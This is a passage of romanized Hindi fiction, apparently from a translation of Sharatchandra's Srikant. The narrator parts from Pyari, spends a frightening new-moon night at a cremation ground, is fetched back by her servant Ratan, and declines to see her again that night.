marakar shivatv prapt kiya. yahi hai pyari baeeji ka sankshipt itihas.

baeeji ne kaha, "tum kya soch rahe ho, bataooan?"

"kya soch raha hooan?"

"tum soch rahe ho- aha! l dakapan mean maianne ise kitana kasht diya hai. kaantoan ke ban mean bhejakar roj-roj karauande mangavaya kiya hooan, aur usake badale keval mar-pit hi karata raha hooan. mar khakar yah gupachup hamesha roya hi ki hai, parantu chaha kabhi kuchh nahian. aj yadi yah kuchh bat kahati hai to sun hi n looan. n sahi, n gaya aj shmashan ko. yahi n?"

maian hans p da.

pyari ne bhi hansakar kaha, "yah to hona hi chahie. bachapan mean jisase ek dapha pyar ho jata hai, kya vah kabhi bhoolata hai? vah yadi anurodh kare to phir kya use pair se thokar marakar tala ja sakata hai? sansar mean aisa nishthur kaun hai? chalo, tho da baith lo, bahut-si batean karani haian. ratan, babooji ke joote to khol de. are hansate ho?"

"hansata hooan yah dekhakar, ki tum log manushy ko bhulakar kis tarah vash mean kar liya karati ho."

pyari ne bhi hans diya boli, "yah dekhakar hansate ho! doosaroan ko to batoan mean bhulakar vash mean kiya ja sakata hai; kintu, hosh sanbhalate hi svayan jisake vash mean rahi hooan, use bhi kya batoan mean bhulaya ja sakata hai? achchha aj to vaise maian bat kar leti hooan, kintu us samay har roj jab kaantoan mean kshat-vikshat hokar mala gooanth deti thi; tab kitani bat kiya karati thi, kaho n? vah kya tumhari mar ke dar se? yah bat bhoolakar bhi man mean mat lana. rajalakshmi aisi nahian hai. kintu ram! ram! tum to mujhe bilkuel hi bhool gaye the, dekhakar pahichan bhi n sake!" yoan kahakar hansate hi, sir hilane se usake donoan kanoan ke hire tak hilakar hans uthe.

maianne kaha, "maianne tumhean man mean sthan hi kab diya tha, jo bhoolata nahian? varanh aj maianne tumhean pahichan liya, yah dekhakar mujhe khud hi acharaj ho raha hai. achchha, barah baj chuke- jata hooan."

pyari ka hansata hua chehara pal-bhar mean bilkunal phika p d gaya. tanik sanbhalakar usane kaha, "achchha, bhoot-pret mat manoan, kintu saanp-bichchhoo, bagh-bhaloo, jangali sooar adi bhi to van-jangal mean aandheri rat mean phirate rahate haian, unhean to manana chahie?"

maianne kaha, "inako to maian manata hi hooan, aur inase khoob savadhan rahakar chalata hooan."

mujhe jane ko udyat dekhakar vah dhire se boli, "tum jis dhatu ke bane adami ho, usase maian janati thi ki tumhean ataka n sakooangi. yah bhay mujhe khoob hi ho raha tha, phir bhi maianne socha ki ro-dhokar, hath-pair jo dakar, ant tak shayad tumhean rok sakooan. kintu dekhati hooan rona hi sar raha." mujhe javab dete n dekh vah phir boli, "achchha jao, pichhe lautakar ab aur asagun n karooangi. kintu, yadi kuchh ho jayega to is videsh mean, paraee jagah, raje-rajava de ya mitr-dost, koee kam nahian aveange, tab mujhe hi bhugatana p dega. mujhe pahichan nahian sakate, yah mere muanh par hi kahakar tum apane paurush ki diang haankakar chal die, kintu hamara to striyoan ka man hai! vipatti ke samay maian to yah kah n sakooangi ki "maian tumhean pahichanati hi nahian." yah kahakar usane ek dirgh ni:shvas daba liya. jate-jate maianne lautakar, kh de hokar hans diya. n jane kyoan mano mujhe kuchh kasht ka anubhav hua. maian bola, "achchha to hai baeeji, yah to mujhe ek b da labh hoga. mera to koee kahian nahian hai, tab hi to maian jan sakooanga ki haan, mera bhi kahian koee hai- jo mujhe chho dakar nahian ja sakata!"

pyari boli, "so kya tum janate nahian ho? ek sau bar 'baeeji' kahakar tum mera chahe jitana apaman kyoan n karo, rajalakshmi tumhean chho dakar n ja sakegi-yah bat kya tum man hi man nahian samajh rahe ho? kintu yadi maian chho dakar ja sakati, to achchha hota. tumhean ek sikh mil jati. kintu, kitani buri hai yah striyoan ki jati. ek dapha bhi kisi ko pyar kiya ki mari!"

maian bola, "pyari, bhale sannyasi ko bhi bhikh nahian milati, janati ho, kyoan?"

pyari boli, "janati hooan, kintu tumhare is vyangy mean itani dhar nahian rahi hai ki isase tum mujhe vedh sako. yah mera eeshvaradatt dhan hai. aur, jab ki mujhe sansar mean bhale-bure tak ka jnan nahian tha; us samay ka yah hai. aj ka nahian." maian kuchh naram hokar bola, "achchhi bat hai, chahata hooan ki aj mujh par koee aphat ave aur tab tumhare is eeshvar-datt dhan ki hathoan-hath jaanch ho jaye."

pyari boli, "ram-ram! aisi bat mat kaho. achchhe-bhale laut ao- is sachchaee ki jaanch karane ki zaroorat nahian hai. mere aise bhag kahaan ki vakt-mauke par apane hath hila-dulakar tumhean svasth sabal kar sakooan. yadi aisa ho to samajhooangi ki is janm ke ek karttavy ko poora kar dala." itana kahakar usane apana muanh pherakar apane aauansoo chhipa liye, yah hariken ke kshin prakash mean bhi maian achchhi tarah jan gaya.

"achchha, bhagavan tumhari is sadh ko kabhi kisi din poora karean," kahakar aur adhik der n karake maian tamboo ke bahar a kh da hua. kaun janata tha ki hansi-hansi mean hi muanh se ek prachand saty bahar nikal jayegi.

tamboo ke bhitar se aauansuoan se ruandhe hue kanth se nikali huee 'durga! durga!' ki katar pukar kanoan mean aee aur maian tej chal se chal diya.

mera sara man pyari ki hi batoan se dhank gaya. kab maian am ke bagiche ke b de aandhiyare marg ko par kar gaya, aur kab nadi ke kinare ke sarakari baandh ke oopar a kh da hua, yah maian jan hi n saka. sari rah sirph yahi ek bat sochata-sochata aya ki stri-jati ka man bhi kaisa virat achintaniy vyapar hai. is pilahi ke rogavali l daki ne apane matake jaise pet aur lak di jaise hath-paanv lekar, sabase pahale kis samay mujhe chaha tha aur karoandoan ki mala se apani daridr-pooja ko sampann kiya tha, so maian bilkuhal hi n jan saka. aur aj jab maian jan saka, tab mere acharaj ka par nahian raha. acharaj kuchh isalie bhi nahian tha- upanyas natakoan mean baly-pranay ki anekoan kathaean padhi haian- kintu jis vastu ko garv ke sath, apani eeshvar datt sampatti kahakar prakat karate hue bhi vah kunthit nahian huee, use usane, itane dinoan tak, apane is ghrinit jivan ke saik doan mithya pranayabhinayoan ke bich, kis kone mean jivit rakh chho da tha? kahaan se isake lie vah khurak jutati rahi? kis raste se pravesh karake vah usaka lalan-palan karati rahi?

"bap!"

maian ekadam chauank p da. samane aauankh uthakar dekha, bhoore rang ki baloo ka vistirn maidan hai aur use chirati huee ek shirn nadi ki vakr rekha tedhi-medhi hoti huee sudoor mean antarhit ho gayi hai. samast maidan mean jagah-jagah kaans ke pe doan ke jhund ug rahe haian. andhakar mean ekaek jan p da ki mano ye sab ek-ek adami haian, jo aj ki is bhayankar amavasya ki ratri ko pretatma ka nrity dekhane ke lie amantrit hokar ae haian aur baloo ke bichhe hue pharsh par mano apana apana asan grahan karake sannate mean pratiksha kar rahe haian. sir ke oopar, ghane kale akash mean, sankhyatit grih-tare bhi, utsukata ke sath apani aauankhoan ko ek sath khole hue tak rahe haian. vayu nahian, shabd nahian, apani chhati ke bhitar chho dakar, jitani door drishti jati thi vahaan tak kahian bhi, pranoan ki jara-si bhi ahat anubhav karane ki guanjaish nahian. jo ratri-char pakshi 'bap' kahakar tham gaya, vah bhi aur kuchh nahian bola. maian pashchim ki or dhire-dhire chala. usi or vah mahashmashan tha. ek din shikar ke lie akar, jis semar ke jha doan ke jha d ko dekh gaya tha, kuchh door chalane par unake kale-kale dal-patr dikhaee die. yahi the us mahashmashan ke dvarapal. inhian ko par karake age badhana hoga. isi samay se pranoan ki aspasht ahat milane lagi, parantu vah aisi nahian thi jisase ki chitt kuchh prasann ho. kuchh aur door chalane par vah kuchh aur saf huee. kisi maan ke 'kumbhakarni nidra' mean so jane par usaka chhota bachcha, rote-rote ant mean bilkuil nirjiv-sa hokar, jis prakar rah-rahakar ririyana shuroo kar deta hai, aisa maloom hua ki thik usi tarah shmashan ke ekant mean koee ririya raha hai. maian bazi lagakar kah sakata hooan ki, jisane us rone ka itihas pahale kabhi jana-suna n ho, vah aisi gahari aandheri amavasya ki ratri mean akela us or ek pair bhi age badhana nahian chahega. vah manushy ka bachcha nahian chamagid d ka bachcha tha, jo aandhere mean apani maan ko n dekh sakane ke karan ro raha tha- yah bat, pahale se jane bina, sambhav nahian hai ki koee apane ap nishchayapoorvak kah sake ki yah avaz manushy ke bachche ki hai. aur bhi najadik jakar dekha, thik yahi bat thi. jholoan ki tarah semar ki dal-dal mean latake hue, asankhy chamagid d ratri-vas kar rahe haian aur unhian mean ka koee shaitan bachcha is tarah artt kanth se ro raha hai.

jha d ke oopar vah rota hi raha aur usake niche se age badhata hua maian us mahashmashan ke ek hisse mean ja kh da hua. subah us vriddh ne jo yah kaha tha ki yahaan lakhoan nar-mund gine ja sakate haian- maianne dekha, ki usake kathan mean jara bhi atyukti nahian hai- kapal to vahaan asankhy p de hue the; phir bhi, khila di us samay tak bhi akar nahian jut pae the. mere sivay koee aur ashariri darshak vahaan upasthit tha ya nahian, so bhi maian in do nashvar chakshuoan se avishkrit nahian kar saka. us samay ghor amavasya thi. isalie, khel shuroo hone mean aur adhik deri nahian hai, yah soch karake maian ek ret ke tile par jakar baith gaya. bandook kholakar, usake toante ki aur ek bar jaanch karake tatha phir use yathasthan lagakar, maianne use god mean rakh liya aur taiyar ho raha. par hay re toante! vipatti ke samay, usane jara bhi sahayata nahian ki.

pyari ki bat yad a gayi. usane kaha tha, "yadi nishkapat bhav se sachamuch hi tumhean bhoot par vishvas nahian hai, to phir, vahaan karm-bhog karane jate hi kyoan ho? aur yadi vishvas mean zor nahian hai, to phir maian, bhoot-pret chahe hoan chahe n hoan, tumhean kisi tarah jane n dooangi." sach to hai, yahaan aya akhir kya dekhane hooan? pap man se agochar to hai nahian. maian vastav mean kuchh bhi dekhane nahian aya hooan. keval yahi dikhane aya hooan ki mujhamean kitana sahas hai. subah jin logoan ne kaha tha, "kayar bangali kam ke samay bhag jate haian," mujhe to unake nikat praman sahit sirph yahi batana hai ki bangali log b de vir hote haian.

mera yah bahut dinoan ka dridh vishvas hai ki manushy ke marane par phir usaka astitv nahian rahata. aur yadi rahata bhi ho, to bhi jis shmashan mean usaki parthiv deh ko pi da pahuanchane mean kuchh bhi kasar nahian rakhi jati vahaan, usi jagah lautakar apani hi khop di mean latean mar marakar use ludhakate phirane ki ichchha hona usake lie n to svabhavik hi hai aur n uchit hi. kam-se-kam maian apane lie to aisa hi samajhata hooan. yah bat doosari hai ki manushy ki ruchi bhinn-bhinn hoti hai. yadi kisi ki hoti ho to, is badhiya rat ko ratri-jagaran karake, mera itani door tak ka ana nishphal nahian hoga. aur phir, aj us vriddh vyakti ne isaki b di bhari asha bhi to dilaee hai.

ekaek hava ka ek jhoanka kitani hi ret u data hua mere sharir par se hokar nikal gaya; aur vah khatm bhi hone nahian paya ki doosara aur phir tisara bhi, oopar se hokar nikal gaya. man mean sochane laga ki bhala yah kya hai. itani der tak to lesh-bhar bhi hava n thi. apane ap chahe kitana hi kyoan n samajhooan aur samajhaooan, phir bhi yah sanskar, ki marane ke bad bhi kuchh ajnat sarikha rahata hai, hamare ha d-maans mean hi bhida hua hai, aur jab tak ha d-maans haian tab tak vah bhi hai, phir chahe maian use svikar karooan chahe n karooan. isalie us hava ke jhoanke ne keval ret aur dhool hi nahian u daee, kintu mere us majjagat gupt sanskar par bhi chot pahuanchaee. kramash: dhire-dhire kuchh aur zor se hava chalane lagi. bahut se adami shayad yah nahian janate ki mrit manushy ki khop di mean se hava ke gujarane se thik dirgh shvas chho dane ka-sa shabd hota hai. dekhate hi dekhate asapas, samane pichhe, charoan or se dirgh usasoan ki jh di-si lag gayi. thik aisa lagane laga ki mano kitane hi adami mujhe gherakar baithe haian aur lagatar jor-jor se hay-hay karake usasean le rahe haian; aur aangareji mean jise 'ankaini philiang' (anamana-sa lagana) kahate haian, thik usi kism ki ek asvasti ya bechaini sare sharir ko jhakajhor gayi. chamagid d ka vah bachcha tab bhi chup nahian hua tha. pichhe-pichhe mano vah aur bhi adhik ririyane laga. mujhe ab maloom hone laga ki maian bhayabhit ho raha hooan. bahut janakari ke phalasvaroop yah khoob janata tha ki jis sthan mean aya hooan vahaan, samay rahate, yadi bhay ko daba n saka, to mrityu tak ho jana asambhav nahian hai. vastav mean is tarah ki bhayanak jagah mean, isake pahale, maian kabhi akela nahian aya tha. svachchhandata se jo yahaan akela a sakata tha, vah tha indr- maian nahian. anekoan bar usake sath anekoan bhayanak sthanoan mean ja-ane ke karan meri yah dharana ho gayi thi ki ichchha karane par maian svayan bhi usi ke saman aise sabhi sthanoan mean akela ja sakata hooan. kintu, vah kitana b da bhram tha! aur maian keval usi jhoank mean usaka anukaran karane chala tha. ek hi kshan mean aj sab batean suspasht ho uthian. meri itani chau di chhati kahaan? mere pas vah ramanam ka abhed kavach kahaan? maian indr nahian hooan jo is pret-bhoomi mean akela kh da rahooan, aur aauankhean g dakar pretatmaoan ka geand khelana dekhooan. man mean laga ki koee ekadh jivit bagh ya bhaloo hi dikhaee p d jay, to maian shayad jivit bach jaooan! ekaek kisi ne mano pichhe kh de hokar mere dahine kan par ni:shvas dala. vah itani thandi thi ki him ke kanoan ki tarah mano usi jagah jam gayi. gardan uthae bagair hi mujhe saph-saph dikhaee p da ki vah ni:shvas jis nak ke brihadakar nakuoan mean se hokar bahar a gayi hai, usamean n cham da hai n maans- ek booand rudhir bhi nahian hai. keval ha d aur chhidr hi usamean haian. age-pichhe, daean-baean andhakar tha. sannate ki adhi rat saany saany karane lagi. asapas ki hay-hay kram-kram se mano, hathoan ke pas se chhooti huee jane lagi. kanoan ke oopar vaisi hi atyant thandi usasean lagatar ane lagian aur yahi mujhe sabase adhik parivash, karane lagian. man hi man aisa maloom hone laga ki mano sare pret-lok ki thandi hava us gadhe mean se bahar akar mere sharir ko lag rahi hai.

kintu, is halat mean bhi mujhe yah bat nahian bhooli ki kisi bhi tarah apane hosh-havas gum kar dene se kam n chalega. yadi aisa hua, to mrityu anivary hai. maianne dekha ki mera dahina pair thar-thar kaanp raha hai. use rokane ki cheshta ki, parantu vah ruka nahian, mano vah mera pair hi n ho.

thik isi samay bahut door se bahut se kanthoan ki mili huee pukar kanoan mean pahuanchi, "babooji! baboo sahab!" sare sharir mean kaante uth ay. kaun log pukar rahe haian? phir avaz aee, "kahian goli mat chho d dijiega!" avaz kramash: age ane lagi, tirachhe dekhane se prakash ki do kshin rekhaean ati huee najar p dian. ek daphe jan p da mano us chillahat ke bhitar ratan ke svar ka abhas hai. kuchh der thaharakar aur bhi saf maloom hua ki zaroor vahi hai. aur bhi kuchh door agrasar hokar, ek semar ke vriksh ke niche a d mean hokar vah chillaya "babooji, ap jahaan bhi hoan goli-oli mat chho die, maian hooan ratan." ratan sachamuch hi jat ka naee hai, isamean mujhe jara bhi sandeh nahian raha.

maianne ullas se chillakar uttar dena chaha, kintu kanth se avaz nahian nikali. pravad hai ki bhoot-pret jate samay kuchh-n-kuchh nasht kar jate haian. jo mere pichhe tha, vah mera kanth svar nasht karake hi bida hua tha.

ratan tatha aur bhi tin adami hath mean lalatenean aur latth liye hue samip a upasthit hue. unamean ek to tha chhattoolal jo tabala bajaya karata tha, doosara tha pyari ka daraban, aur tisara gaanv ka chaukidar.

ratan bola, "chalie, tin bajate haian."

"chalo" kahakar maian age ho liya. rasta chalate-chalate ratan kahane laga, "baboo, dhany hai apake sahas ko. ham char jane haian phir bhi jis tarah darate-darate yahaan ae haian, usaka varnan nahian ho sakata."

"tum ae kyoan?"

ratan bola, "rupayoan ke lobh se. ham sabako ek-ek mahine ki tanakhvah jo nakad mili hai!" itana kahakar vah mere pas aya aur gala dhima karake bola, "apake chale ane par dekha, maan baithi ro rahi haian. mujhase boli, "ratan, n jane ka honahar hai bhiya, tum log pichhe-pichhe jao. maian tum sabako ek-ek mahine ki tanakhvah inam dooangi." maian bola, "chhattoolal aur ganesh ko sath lekar maian ja sakata hooan maan, parantu rasta to maianne dekha hi nahian hai." isi samay chaukidar ne haank di. maan boli, "use bula le ratan, vah zaroor rasta janata hoga." bahar jakar maian use bula laya. chaukidar jab nakad chh: rupaye pa gaya, tab rasta dikhata hua le aya. achchha babooji, "apane chhote bachche ka rona suna hai?" itana kahakar kaanpate hue ratan ne mere kot ke pichhe ka chhor pak d liya. kahane laga, "hamare ganesh pande brahman haian, isi se ham log aj bach gaye, nahian to..."

maianne kuchh kaha nahian. prativad karake kisi ke bhram ko bhang karane jaisi avastha meri nahian thi. achhann-abhibhoot ki tarah chupachap chalane laga.

kuchh door chalane ke bad ratan ne poochha, "aj kuchh dekha babooji?"

maian bola, "nahian."

mere is sankshipt uttar se ratan kshubdh hokar bola, "hamare ane se ap kya naraj ho gaye, babooji? kintu yadi ap maan ka rona dekhate..."

maian chatapat bol utha, "nahian ratan, maian jara bhi naraj nahian hua."

tamboo ke pas a jane par chaukidar apane ghar chala gaya, ganesh aur chhattoolal naukaroan ke tamboo mean chale gaye. ratan ne kaha, "maan ne kaha tha ki jate samay ek bar darshan de jaiega."

maian thithak kar kh da ho gaya, aauankhoan ke age saph-saph dikhaee p da ki pyari die ke samane adhir utsukata aur sajal netroan se baithi-baithi pratiksha kar rahi hai aur mera sara man unmatt urdhvan shvasean bharata hua us or dau da ja raha hai.

ratan ne vinay ke sath bulaya, "aie."

kshan-bhar ke lie aauankhean mianchakar apane antar mean doobakar dekha, vahaan hosh-havas mean koee nahian hai, sab gale tak sharab pikar mast ho rahe haian. ram, ram, in matavaloan ke dal ko lekar maian usase milane jaooan? yah mujhase kisi tarah n hoga.

der hoti dekhakar ratan vismay se bola, "us jagah aandhere mean kyoan kh de ho rahe haian babooji- aie n?"

maian chatapat bol utha, "nahian ratan, is samay nahian-maian chalata hooan."

ratan kunthit hokar bola, "maan, kintu, rah dekhati baithi haian..."

"rah dekhati haian to dekhane de. unhean mera asankhy namaskar jatakar kahana, kal jane ke pahale mulakat hogi- is samay nahian. mujhe b di niand a rahi hai ratan, maian chalata hooan." itana kahakar vismit, kshubdh ratan ko javab dene ka avasar die bagair hi maian, jaldi-jaldi pair badhata hua, us taraph se tamboo ki or chal diya.